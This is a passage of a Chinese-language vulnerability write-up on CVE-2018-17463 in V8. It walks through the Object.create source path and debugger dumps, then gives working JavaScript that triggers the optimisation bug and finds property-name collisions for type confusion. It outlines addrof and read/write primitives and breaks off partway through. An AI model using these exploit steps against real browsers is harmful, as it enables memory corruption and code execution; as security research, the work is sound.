RUNTIME_FUNCTION(Runtime_ObjectCreate) {
HandleScope scope(isolate);
Handle<Object> prototype = args.at(0);
Handle<Object> properties = args.at(1);
Handle<JSObject> obj;
// 1. If Type(O) is neither Object nor Null, throw a TypeError exception.
if (!prototype->IsNull(isolate) && !prototype->IsJSReceiver()) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kProtoObjectOrNull, prototype));
}
// 2. Let obj be ObjectCreate(O).
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
[*] isolate, obj, JSObject::ObjectCreate(isolate, prototype));
... ...
}
`JSObject::ObjectCreate`函数定义在`src/objects.cc:1360`，可以看到整个函数的流程是利用原有`Object`中的`Map`生成新的`Map`，再根据`Map`的类型，去生成新的`Object`。其中`Map`分为两个模式，`dictionary
mode`和`fast mode`，`dictionary mode`类似于`hash`表存储，结构较复杂。`fast mode`是简单的结构体模式。
// Notice: This is NOT 19.1.2.2 Object.create ( O, Properties )
MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,
Handle<Object> prototype) {
// Generate the map with the specified {prototype} based on the Object
// function's initial map from the current native context.
// TODO(bmeurer): Use a dedicated cache for Object.create; think about
// slack tracking for Object.create.
Handle<Map> map =
[*] Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));
// Actually allocate the object.
Handle<JSObject> object;
if (map->is_dictionary_map()) {
object = isolate->factory()->NewSlowJSObjectFromMap(map);
} else {
object = isolate->factory()->NewJSObjectFromMap(map);
}
return object;
}
在`Map::GetObjectCreateMap`函数中涉及了对输入的`Object`的操作，定义于`src/objects.cc:5450`。
首先对`map`和`prototype`的类型进行判断，当满足`(prototype->IsJSObject()`且`!js_prototype->map()->is_prototype_map()`调用`JSObject::OptimizeAsPrototype(js_prototype);`输入的`Object`进行优化。
Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,
Handle<HeapObject> prototype) {
Handle<Map> map(isolate->native_context()->object_function()->initial_map(),
isolate);
if (map->prototype() == *prototype) return map;
if (prototype->IsNull(isolate)) {
return isolate->slow_object_with_null_prototype_map();
}
if (prototype->IsJSObject()) {
Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);
if (!js_prototype->map()->is_prototype_map()) {
[*] JSObject::OptimizeAsPrototype(js_prototype);
}
Handle<PrototypeInfo> info =
Map::GetOrCreatePrototypeInfo(js_prototype, isolate);
// TODO(verwaest): Use inobject slack tracking for this map.
if (info->HasObjectCreateMap()) {
map = handle(info->ObjectCreateMap(), isolate);
} else {
map = Map::CopyInitialMap(isolate, map);
Map::SetPrototype(isolate, map, prototype);
PrototypeInfo::SetObjectCreateMap(info, map);
}
return map;
}
return Map::TransitionToPrototype(isolate, map, prototype);
}
在`JSObject::OptimizeAsPrototype`函数中
，定义于`src/objects.cc:12518`，当满足`PrototypeBenefitsFromNormalization(object))`时，调用`JSObject::NormalizeProperties`对原有`Object`进行优化。
然后再根据原`Object`的`map`，申请并复制生成新`map`。
// static
void JSObject::OptimizeAsPrototype(Handle<JSObject> object,
bool enable_setup_mode) {
if (object->IsJSGlobalObject()) return;
if (enable_setup_mode && PrototypeBenefitsFromNormalization(object)) {
// First normalize to ensure all JSFunctions are DATA_CONSTANT.
[*] JSObject::NormalizeProperties(object, KEEP_INOBJECT_PROPERTIES, 0,
"NormalizeAsPrototype");
}
if (object->map()->is_prototype_map()) {
if (object->map()->should_be_fast_prototype_map() &&
!object->HasFastProperties()) {
JSObject::MigrateSlowToFast(object, 0, "OptimizeAsPrototype");
}
} else {
... ...
}
}
}
}
在`JSObject::NormalizeProperties`函数中，`src/objects.cc:6436`，可以发现该函数会调用`Map::Normalize`根据原有的`map`生成一个新的`map`，并且利用新的`map`重新构建输入的`Object`，这明显是一个具有`side-effect`的操作。
void JSObject::NormalizeProperties(Handle<JSObject> object,
PropertyNormalizationMode mode,
int expected_additional_properties,
const char* reason) {
if (!object->HasFastProperties()) return;
Handle<Map> map(object->map(), object->GetIsolate());
[*] Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);
MigrateToMap(object, new_map, expected_additional_properties);
}
继续跟进`Map::Normalize`，`src/objects.cc:9185`，新的`map`是由`Map::CopyNormalized`生成的。
Handle<Map> Map::Normalize(Isolate* isolate, Handle<Map> fast_map,
PropertyNormalizationMode mode, const char* reason) {
DCHECK(!fast_map->is_dictionary_map());
Handle<Object> maybe_cache(isolate->native_context()->normalized_map_cache(),
isolate);
bool use_cache =
!fast_map->is_prototype_map() && !maybe_cache->IsUndefined(isolate);
Handle<NormalizedMapCache> cache;
if (use_cache) cache = Handle<NormalizedMapCache>::cast(maybe_cache);
Handle<Map> new_map;
if (use_cache && cache->Get(fast_map, mode).ToHandle(&new_map)) {
... ...
} else {
[*] new_map = Map::CopyNormalized(isolate, fast_map, mode);
if (use_cache) {
cache->Set(fast_map, new_map);
isolate->counters()->maps_normalized()->Increment();
}
if (FLAG_trace_maps) {
LOG(isolate, MapEvent("Normalize", *fast_map, *new_map, reason));
}
}
fast_map->NotifyLeafMapLayoutChange(isolate);
return new_map;
}
在`Map::CopyNormalized`函数中,
`src/objects.cc:9247`，利用`RawCopy`生成了新的map，随后进行了赋值，包括`set_is_dictionary_map`，比较明显的是，新生成的`map`是`dictionary`模式的。
Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map,
PropertyNormalizationMode mode) {
int new_instance_size = map->instance_size();
if (mode == CLEAR_INOBJECT_PROPERTIES) {
new_instance_size -= map->GetInObjectProperties() * kPointerSize;
}
[*] Handle<Map> result = RawCopy(
isolate, map, new_instance_size,
mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());
// Clear the unused_property_fields explicitly as this field should not
// be accessed for normalized maps.
result->SetInObjectUnusedPropertyFields(0);
result->set_is_dictionary_map(true);
result->set_is_migration_target(false);
result->set_may_have_interesting_symbols(true);
result->set_construction_counter(kNoSlackTracking);
#ifdef VERIFY_HEAP
if (FLAG_verify_heap) result->DictionaryMapVerify(isolate);
#endif
return result;
}
在`Map::RawCopy`中，`src/objects.cc:9163`，首先新建了一个`Handle<Map>`，并调用`Map::SetPrototype`为其设置`prototype`属性。
Handle<Map> Map::RawCopy(Isolate* isolate, Handle<Map> map, int instance_size,
int inobject_properties) {
Handle<Map> result = isolate->factory()->NewMap(
map->instance_type(), instance_size, TERMINAL_FAST_ELEMENTS_KIND,
inobject_properties);
Handle<Object> prototype(map->prototype(), isolate);
[*] Map::SetPrototype(isolate, result, prototype);
... ...
return result;
}
在`Map::SetPrototype`中，`src/objects.cc:12792`，调用`JSObject::OptimizeAsPrototype`为原有`Object`的`prototype`进行优化。
// static
void Map::SetPrototype(Isolate* isolate, Handle<Map> map,
Handle<Object> prototype,
bool enable_prototype_setup_mode) {
RuntimeCallTimerScope stats_scope(isolate, *map,
RuntimeCallCounterId::kMap_SetPrototype);
bool is_hidden = false;
if (prototype->IsJSObject()) {
Handle<JSObject> prototype_jsobj = Handle<JSObject>::cast(prototype);
[*] JSObject::OptimizeAsPrototype(prototype_jsobj, enable_prototype_setup_mode);
... ...
}
经过`JSObject::OptimizeAsPrototype`(`src/objects.cc:12519`) 未满足条件，故不进行优化。
最终，原有`Object`调用`JSObject::MigrateToMap`，`src/objects.cc:4514`，根据生成的`dictionary
mode map`进行了重构。
void JSObject::MigrateToMap(Handle<JSObject> object, Handle<Map> new_map,
int expected_additional_properties) {
if (object->map() == *new_map) return;
Handle<Map> old_map(object->map(), object->GetIsolate());
NotifyMapChange(old_map, new_map, object->GetIsolate());
if (old_map->is_dictionary_map()) {
// For slow-to-fast migrations JSObject::MigrateSlowToFast()
// must be used instead.
... ...
} else if (!new_map->is_dictionary_map()) {
... ...
}
} else {
MigrateFastToSlow(object, new_map, expected_additional_properties);
}
// Careful: Don't allocate here!
// For some callers of this method, |object| might be in an inconsistent
// state now: the new map might have a new elements_kind, but the object's
// elements pointer hasn't been updated yet. Callers will fix this, but in
// the meantime, (indirectly) calling JSObjectVerify() must be avoided.
// When adding code here, add a DisallowHeapAllocation too.
}
从而我们找到了经过`JSCreate`操作的数据，是可以被改变的，因此将`JSCreate`认定为`KNoWrite`的确是不正确的。
### 思路验证
关于`JSCreate`操作可以利用`Object.create`函数触发。
> ## 语法
>
>
> Object.create(proto, [propertiesObject])
>
>
> ### 参数
>
> * 新创建对象的原型对象。
>
> * `propertiesObject`
>
> 可选。如果没有指定为 [`undefined`](https://developer.mozilla.org/zh-> CN/docs/Web/JavaScript/Reference/Global_Objects/undefined)，则是要添加到新创建对象的可枚举属性（即其自身定义的属性，而不是其原型链上的枚举属性）对象的属性描述符以及相应的属性名称。这些属性对应[`Object.defineProperties()`](https://developer.mozilla.org/zh-> CN/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties)的第二个参数。
>
>
>
> ### 返回值
>
> 一个新对象，带着指定的原型对象和属性。
>
> ### 例外
>
> 如果`propertiesObject`参数是 [`null`](https://developer.mozilla.org/zh-> CN/docs/Web/JavaScript/Reference/Global_Objects/null) 或非原始包装对象，则抛出一个
> [`TypeError`](https://developer.mozilla.org/zh-> CN/docs/Web/JavaScript/Reference/Global_Objects/TypeError) 异常。
通过如下代码可以发现，在执行如下代码后，`Object a`的`map`的确从`fast mode`变成了`Dictionary`
let a = {x : 1};
%DebugPrint(a);
Object.create(a);
%DebugPrint(a);
┌─[p4nda@p4nda-virtual-machine] - [~/Desktop/browser/ctf/CVE-2018-17463/v8/out.gn/x64.debug] - [三 6月 12, 19:23]
└─[$] <git:(568979f*)> ./d8 --allow-natives-syntax ./test.js
DebugPrint: 0x16610e38e1b1: [JS_OBJECT_TYPE]
- map: 0x0edbef28c981 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x39b5de6046d9 <Object map = 0xedbef2822f1>
- elements: 0x3b84cb382cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3b84cb382cf1 <FixedArray[0]> {
#x: 1 (data field 0)
}
0xedbef28c981: [Map]
- type: JS_OBJECT_TYPE
- instance size: 32
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0edbef28c931 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x372622982201 <Cell value= 1>
- instance descriptors (own) #1: 0x16610e38e1d1 <DescriptorArray[5]>
- layout descriptor: (nil)
- prototype: 0x39b5de6046d9 <Object map = 0xedbef2822f1>
- constructor: 0x39b5de604711 <JSFunction Object (sfi = 0x37262298f991)>
- dependent code: 0x3b84cb382391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
DebugPrint: 0x16610e38e1b1: [JS_OBJECT_TYPE]
- map: 0x0edbef28ca21 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x39b5de6046d9 <Object map = 0xedbef2822f1>
- elements: 0x3b84cb382cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x16610e38e209 <NameDictionary[17]> {
#x: 1 (data, dict_index: 1, attrs: [WEC])
}
0xedbef28ca21: [Map]
- type: JS_OBJECT_TYPE
- instance size: 32
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- dictionary_map
- may_have_interesting_symbols
- prototype_map
- prototype info: 0x39b5de623039 <PrototypeInfo>
- prototype_validity cell: 0x372622982201 <Cell value= 1>
- instance descriptors (own) #0: 0x3b84cb382321 <DescriptorArray[2]>
- layout descriptor: (nil)
- prototype: 0x39b5de6046d9 <Object map = 0xedbef2822f1>
- constructor: 0x39b5de604711 <JSFunction Object (sfi = 0x37262298f991)>
- dependent code: 0x3b84cb382391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
## 漏洞利用
### 漏洞触发
当前的漏洞已经可以影响一个`Object`的结构，将其模式修改为`Directory`，但究竟可以影响`Object`哪些位置，还需要进一步探究，首先可以先从`Object`自身结构入手，研究一下在`Object.create`对传入对象的影响。
我们知道，在`JavaScript`中对于一个对象属性的定义有两种，一种是在属性初始化时加入，另一种是在操作中加入，测试代码如下：
let a = {x : 1,y:2,z:3};
a.b = 4;
a.c = 5;
a.d = 6;
%DebugPrint(a);
readline();
Object.create(a);
%DebugPrint(a);
readline();
在第一处`readline`时，可以发现`a`这个`Object`的构造如下：
pwndbg> v8print 0x31132b18e1e9
0x31132b18e1e9: [JS_OBJECT_TYPE]
- map: 0x0bf82a48cb11 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2e853b0046d9 <Object map = 0xbf82a4822f1>
- elements: 0x006338502cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x31132b18e389 <PropertyArray[3]> {
#x: 1 (data field 0)
#y: 2 (data field 1)
#z: 3 (data field 2)
#b: 4 (data field 3) properties[0]
#c: 5 (data field 4) properties[1]
#d: 6 (data field 5) properties[2]
}
$1 = 0
可以发现，`a`拥有6个属性，其中`b、c、d`标志为`properties[x]`，继续查看这个`Object`的`map`，发现在`map`中指明了整个`Object`的大小是48字节，并存在3个`inobject
properties`也就是保存在结构体内部的属性，且是`[FastProperties]`模式的。
pwndbg> v8print 0x0bf82a48cb11
0xbf82a48cb11: [Map]
- type: JS_OBJECT_TYPE
- instance size: 48
- inobject properties: 3
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0bf82a48cac1 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x2e853b006459 <Cell value= 0>
- instance descriptors (own) #6: 0x31132b18e449 <DescriptorArray[20]>
- layout descriptor: (nil)
- prototype: 0x2e853b0046d9 <Object map = 0xbf82a4822f1>
- constructor: 0x2e853b004711 <JSFunction Object (sfi = 0x1a09a450aba9)>
- dependent code: 0x006338502391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
根据`JS`中对象指针的形式，可以查看这个`Object`的结构，显然我们在`a`初始化中声明的属性值`x,y,z`被保存在结构体内部，且符合`map`中指出的三个结构体。
pwndbg> x /6gx 0x31132b18e1e8
0x31132b18e1e8: 0x00000bf82a48cb11 0x000031132b18e389
0x31132b18e1f8: 0x0000006338502cf1 0x0000000100000000
0x31132b18e208: 0x0000000200000000 0x0000000300000000
再看`a`结构体中的第二个8字节，在`v8print`中可以看出其指向`properties`成员。
pwndbg> v8print 0x31132b18e389
0x31132b18e389: [PropertyArray]
- map: 0x006338503899 <Map>
- length: 3
- hash: 0
0: 4
1: 5
2: 6
$3 = 0
发现在后续操作中添加的`a,b,c`被保存在这里，并且属性值的存储顺序是固定的。
0x31132b18e388: 0x0000006338503899 0x0000000300000000
0x31132b18e398: 0x0000000400000000 0x0000000500000000
0x31132b18e3a8: 0x0000000600000000
而在执行`Object.create`后，可以发现`a`的`map`成员发生了改变，符合我们之前对源码的分析，`Object.create`对输入的`map`进行了优化，改为了`DictionaryProperties`模式：
pwndbg> v8print 0x31132b18e1e9
0x31132b18e1e9: [JS_OBJECT_TYPE]
- map: 0x0bf82a48cbb1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x2e853b0046d9 <Object map = 0xbf82a4822f1>
- elements: 0x006338502cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x31132b18e4f9 <NameDictionary[53]> {
#z: 3 (data, dict_index: 3, attrs: [WEC])
#d: 6 (data, dict_index: 6, attrs: [WEC])
#b: 4 (data, dict_index: 4, attrs: [WEC])
#c: 5 (data, dict_index: 5, attrs: [WEC])
#y: 2 (data, dict_index: 2, attrs: [WEC])
#x: 1 (data, dict_index: 1, attrs: [WEC])
}
$4 = 0
而再次查看结构体，发现其中保存的`x,y,z`属性值并未存在结构体中：
pwndbg> x /6gx 0x31132b18e1e8
0x31132b18e1e8: 0x00000bf82a48cbb1 0x000031132b18e4f9
0x31132b18e1f8: 0x0000006338502cf1 0x0000000000000000
0x31132b18e208: 0x0000000000000000 0x0000000000000000
而观察`properties`成员，发现长度发生明显变化，并且之前存在`Object`结构体中的`x,y,z`也进入了`properties`中。
pwndbg> v8print 0x31132b18e4f9
0x31132b18e4f9: [ObjectHashTable]
- map: 0x006338503669 <Map>
- length: 53
- elements: 6
- deleted: 0
- capacity: 16
- elements: {
0: 7 -> 0
1: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
2: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
3: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
4: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
5: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
6: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
7: 0x1a09a4506971 <String[1]: z> -> 3
8: 960 -> 0x0063385025a1 <undefined>
9: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
10: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
11: 0x0063385025a1 <undefined> -> 0x1a09a45050a1 <String[1]: d>
12: 6 -> 1728
13: 0x2e853b022991 <String[1]: b> -> 4
14: 1216 -> 0x0063385025a1 <undefined>
15: 0x0063385025a1 <undefined> -> 0x0063385025a1 <undefined>
}
$6 = 0
而且，其中保存的值也并非顺序保存的，并且结构比较复杂，前0x38个字节代表结构体的`map,length`等成员，后面有0x35项数据，每个数据占16字节，前8字节代表属性名，后8字节代表属性值。
pwndbg> x /25gx 0x31132b18e4f8
0x31132b18e4f8: 0x0000006338503669 0x0000003500000000
0x31132b18e508: 0x0000000600000000 0x0000000000000000
0x31132b18e518: 0x0000001000000000 0x0000000700000000
0x31132b18e528: 0x0000000000000000 0x00000063385025a1
0x31132b18e538: 0x00000063385025a1 0x00000063385025a1
0x31132b18e548: 0x00000063385025a1 0x00000063385025a1
0x31132b18e558: 0x00000063385025a1 0x00000063385025a1
0x31132b18e568: 0x00000063385025a1 0x00000063385025a1
0x31132b18e578: 0x00000063385025a1 0x00000063385025a1
0x31132b18e588: 0x00000063385025a1 0x00001a09a4506971
0x31132b18e598: 0x0000000300000000 0x000003c000000000
0x31132b18e5a8: 0x00000063385025a1 0x00000063385025a1
0x31132b18e5b8: 0x00000063385025a1
pwndbg> v8print 0x00001a09a4506971
#z
$9 = 0
至此，我们大致可以将`Object.create`对一个`Object`的影响搞清了，该结构会把全部的属性值都放到`properties`中存储，并将原先的线性结构改成`hash`表的字典结构。
回到漏洞，如何将这个`side-effect`推断错误的影响扩大化呢？一般的想法是利用优化来去掉一些检查的节点。
例如代码：
function foo(o) {
return o.a + o.b;
}
其生成的`IR code`可能是如下的：
CheckHeapObject o
CheckMap o, map1
r0 = Load [o + 0x18]
CheckHeapObject o
CheckMap o, map1
r1 = Load [o + 0x20]
r2 = Add r0, r1
CheckNoOverflow
Return r2
可以看到第二次当`o`不变时，第二次`CheckMap o, map1`是多余的，这次检查节点是可以消除的。
在`src/compiler/checkpoint-elimination.cc:18`中，可以看到当两个检查节点中间的操作属性是`kNoWrite`时，则第二个检查节点时多余的。
// The given checkpoint is redundant if it is effect-wise dominated by another
// checkpoint and there is no observable write in between. For now we consider
// a linear effect chain only instead of true effect-wise dominance.
bool IsRedundantCheckpoint(Node* node) {
Node* effect = NodeProperties::GetEffectInput(node);
while (effect->op()->HasProperty(Operator::kNoWrite) &&
effect->op()->EffectInputCount() == 1) {
if (effect->opcode() == IrOpcode::kCheckpoint) return true;
effect = NodeProperties::GetEffectInput(effect);
}
return false;
}
那么利用这一点，可以构造一个函数，首先访问一次其内部变量，然后调用`Object.create`操作，再次访问另一个变量，那么可能造成第二个变量的类型检查消失，如果结合`DictionaryProperties`和`FastProperties`特性是可以构造一个非预期的情况。如首先构造一个数组`x`，初始化时赋予属性`a=0x1234`，增加属性`b=0x5678`，构造函数`bad_create`：首先访问`x.a`，这里可以通过类型检查，而在后续返回`x.b`，由于`JSCreate`的属性是`kNoWrite`的，则返回之前的`x.b`二次检查消失，造成仍然返回一个与`x.b`偏移相同的数据，但由于`Properties`的内存分布发生变化，一定不会是`0x5678`。
剩下的就是循环这个函数`10000`次，触发优化发生。
function check_vul(){
function bad_create(x){
x.a;
Object.create(x);
return x.b;
}
for (let i = 0;i < 10000; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
//log(res);
if( res != 0x5678){
console.log(i);
console.log("CVE-2018-17463 exists in the d8");
return;
}
}
throw "bad d8 version";
}
check_vul();
执行这个函数，会发现的确符合我们的预期，某次函数的返回值并不是0x5678，同时也观察到并不是函数每次执行都会发生这一现象。
┌─[p4nda@p4nda-virtual-machine] - [~/Desktop/browser/ctf/CVE-2018-17463/v8/out/x64.release] - [四 6月 13, 12:30]
└─[$] <git:(568979f*)> ./d8 ./test/test.js
5958
CVE-2018-17463 exists in the d8
至此，取得了阶段性进展，可以稳定触发漏洞了。
### 类型混淆
当可以消除第二个检查节点后就可以获得`DictionaryProperties`的稳定偏移数据了。但是`DictionaryProperties`是一个`hash`表，其每次触发时对应的保存数据位置并不相同，可能存在随机化的因素在，如下是之前测试代码两次执行的`Properties`内存结构，可以发现各属性的偏移位置并不固定
第一次：
pwndbg> v8print 0x1a8ce618e1d1
0x1a8ce618e1d1: [JS_OBJECT_TYPE]
- map: 0x0e4ccda8cbb1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x2d0e328046d9 <Object map = 0xe4ccda822f1>
- elements: 0x180c3d382cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1a8ce618e4e1 <NameDictionary[53]> {
#c: 5 (data, dict_index: 5, attrs: [WEC])
#d: 6 (data, dict_index: 6, attrs: [WEC])
#x: 1 (data, dict_index: 1, attrs: [WEC])
#y: 2 (data, dict_index: 2, attrs: [WEC])
#z: 3 (data, dict_index: 3, attrs: [WEC])
#b: 4 (data, dict_index: 4, attrs: [WEC])
}
$1 = 0
pwndbg> x /20gx 0x1a8ce618e4e0
0x1a8ce618e4e0: 0x0000180c3d383669 0x0000003500000000
0x1a8ce618e4f0: 0x0000000600000000 0x0000000000000000
0x1a8ce618e500: 0x0000001000000000 0x0000000700000000
0x1a8ce618e510: 0x0000000000000000 0x00001ee0998868c9
0x1a8ce618e520: 0x0000000500000000 0x000005c000000000
0x1a8ce618e530: 0x0000180c3d3825a1 0x0000180c3d3825a1
0x1a8ce618e540: 0x0000180c3d3825a1 0x00001ee0998850a1
0x1a8ce618e550: 0x0000000600000000 0x000006c000000000
0x1a8ce618e560: 0x0000180c3d3825a1 0x0000180c3d3825a1
0x1a8ce618e570: 0x0000180c3d3825a1 0x0000180c3d3825a1
第二次：
pwndbg> v8print 0x1bf5b6e0e1d1
0x1bf5b6e0e1d1: [JS_OBJECT_TYPE]
- map: 0x2fc05030cbb1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x02b0bbe046d9 <Object map = 0x2fc0503022f1>
- elements: 0x2d44edf02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1bf5b6e0e4e1 <NameDictionary[53]> {
#y: 2 (data, dict_index: 2, attrs: [WEC])
#c: 5 (data, dict_index: 5, attrs: [WEC])
#z: 3 (data, dict_index: 3, attrs: [WEC])
#b: 4 (data, dict_index: 4, attrs: [WEC])
#d: 6 (data, dict_index: 6, attrs: [WEC])
#x: 1 (data, dict_index: 1, attrs: [WEC])
}
$1 = 0
pwndbg> x /20gx 0x1bf5b6e0e4e0
0x1bf5b6e0e4e0: 0x00002d44edf03669 0x0000003500000000
0x1bf5b6e0e4f0: 0x0000000600000000 0x0000000000000000
0x1bf5b6e0e500: 0x0000001000000000 0x0000000700000000
0x1bf5b6e0e510: 0x0000000000000000 0x000021c78c806959
0x1bf5b6e0e520: 0x0000000200000000 0x000002c000000000
0x1bf5b6e0e530: 0x00002d44edf025a1 0x00002d44edf025a1
0x1bf5b6e0e540: 0x00002d44edf025a1 0x00002d44edf025a1
0x1bf5b6e0e550: 0x00002d44edf025a1 0x00002d44edf025a1
0x1bf5b6e0e560: 0x000021c78c8068c9 0x0000000500000000
0x1bf5b6e0e570: 0x000005c000000000 0x000021c78c806971
但发现另一规律：在一次执行过程中，相同属性构造的`Object`，在`DictionaryProperties`中的偏移是相同的：
执行如下代码：
let a1 = {x : 1,y:2,z:3};
a1.b = 4;
a1.c = 5;
a1.d = 6;
let a2 = {x : 2,y:3,z:4};
a2.b = 7;
a2.c = 8;
a2.d = 9;
Object.create(a1);
%DebugPrint(a1);
Object.create(a2);
%DebugPrint(a2);
readline();
发现`a1`，`a2`即使属性值不同，但在`Properties`中属性名相同的仍存在同一位置。
pwndbg> v8print 0x20913a10e231
0x20913a10e231: [JS_OBJECT_TYPE]
- map: 0x351140b0cbb1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x0e11c9a846d9 <Object map = 0x351140b022f1>
- elements: 0x011a73b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x20913a10e599 <NameDictionary[53]> {
#z: 3 (data, dict_index: 3, attrs: [WEC])
#b: 4 (data, dict_index: 4, attrs: [WEC])
#y: 2 (data, dict_index: 2, attrs: [WEC])
#c: 5 (data, dict_index: 5, attrs: [WEC])
#x: 1 (data, dict_index: 1, attrs: [WEC])
#d: 6 (data, dict_index: 6, attrs: [WEC])
}
$1 = 0
pwndbg> v8print 0x20913a10e541
0x20913a10e541: [JS_OBJECT_TYPE]
- map: 0x351140b0cc51 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x0e11c9a846d9 <Object map = 0x351140b022f1>
- elements: 0x011a73b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x20913a10e789 <NameDictionary[53]> {
#z: 4 (data, dict_index: 3, attrs: [WEC])
#b: 7 (data, dict_index: 4, attrs: [WEC])
#y: 3 (data, dict_index: 2, attrs: [WEC])
#c: 8 (data, dict_index: 5, attrs: [WEC])
#x: 2 (data, dict_index: 1, attrs: [WEC])
#d: 9 (data, dict_index: 6, attrs: [WEC])
}
$2 = 0
pwndbg> x /10gx 0x20913a10e598+0x38
0x20913a10e5d0: 0x0000011a73b825a1 0x0000011a73b825a1
0x20913a10e5e0: 0x0000011a73b825a1 0x000003c505686971
0x20913a10e5f0: 0x0000000300000000 0x000003c000000000
0x20913a10e600: 0x0000011a73b825a1 0x0000011a73b825a1
0x20913a10e610: 0x0000011a73b825a1 0x00000e11c9aa2991
pwndbg> x /10gx 0x20913a10e788+0x38
0x20913a10e7c0: 0x0000011a73b825a1 0x0000011a73b825a1
0x20913a10e7d0: 0x0000011a73b825a1 0x000003c505686971
0x20913a10e7e0: 0x0000000400000000 0x000003c000000000
0x20913a10e7f0: 0x0000011a73b825a1 0x0000011a73b825a1
0x20913a10e800: 0x0000011a73b825a1 0x00000e11c9aa2991
那么我们可以得到一个结论，在一次利用中只要找到一对可以用于类型混淆的属性名就可以作为先验知识一直使用了。
我们可以通过构建一个对象，其中把属性名和属性值设置为有规律的键值对，如{'bi' => -(i+0x4869)
}，在恶意构造的函数中，返回全部可读的`Properties`值，通过其值的规律性，可以找到一对在属性改变先后可以对应的属性名`X1、X2`，达到恶意函数返回`a.x1`，实质上是返回a.X2的目的，从而造成类型混淆。
搜索`X1、X2`对的代码如下：
// check collision between directory mode and fast mode
let OPTIMIZATION_NUM = 10000
let OBJ_LEN = 0x30
function getOBJ(){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
eval(`res.${'b'+i} = -${0x4869 + i};
`);
}
return res;
}
function findCollision(){
let find_obj = [];
for (let i = 0;i<OBJ_LEN;i++){
find_obj[i] = 'b'+i;
}
eval(`
function bad_create(x){
x.a;
this.Object.create(x);
${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
return [${find_obj.join(', ')}];
}
`);
for (let i = 0; i<OPTIMIZATION_NUM;i++){
let tmp = bad_create(getOBJ());
for (let j = 0 ;j<tmp.length;j++){
if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
return ['b'+j , 'b' + -(tmp[j]+0x4869)];
}
}
}
throw "not found collision ";
}
findCollision();
结果可发现，在每次执行中键值对都不同：
┌─[p4nda@p4nda-virtual-machine] - [~/Desktop/browser/ctf/CVE-2018-17463/v8/out/x64.release] - [四 6月 13, 12:57]
└─[$] <git:(568979f*)> ./d8 ./test/test.js
b9 & b2 are collision in directory
┌─[p4nda@p4nda-virtual-machine] - [~/Desktop/browser/ctf/CVE-2018-17463/v8/out/x64.release] - [四 6月 13, 12:58]
└─[$] <git:(568979f*)> ./d8 ./test/test.js
b15 & b7 are collision in directory
┌─[p4nda@p4nda-virtual-machine] - [~/Desktop/browser/ctf/CVE-2018-17463/v8/out/x64.release] - [四 6月 13, 13:06]
└─[$] <git:(568979f*)> ./d8 ./test/test.js
b9 & b34 are collision in directory
此后，可以通过得到的键值对可以造成类型混淆了。
### addrof原语
通过得到的键值对设为`X,Y`，那么构建一个新的`Object`，
o.X = {x1:1.1,x2:1.2};
o.Y = {y1:obj};
并且构建恶意函数
function bad_create(o){
o.a;
this.Object.create(o);
return o.X.x1;
}
那么在返回`o.X.x1`的时候，实际上返回的是`obj`结构体的地址，从而对浮点型进行转换就可以得到对应obj地址了。
### 任意地址读写原语
同样利用上文属性值对，与`addrof`原语类似，当访问键值`X`时，实际上是对键值`Y`属性值相对偏移的操作。
对于任意地址读写，我们可以想到一个好用的数据结构`ArrayBuffer`。一个`ArrayBuffer`的结构体如下：
pwndbg> v8print 0x1d4b8ef8e1a9
0x1d4b8ef8e1a9: [JSArrayBuffer]
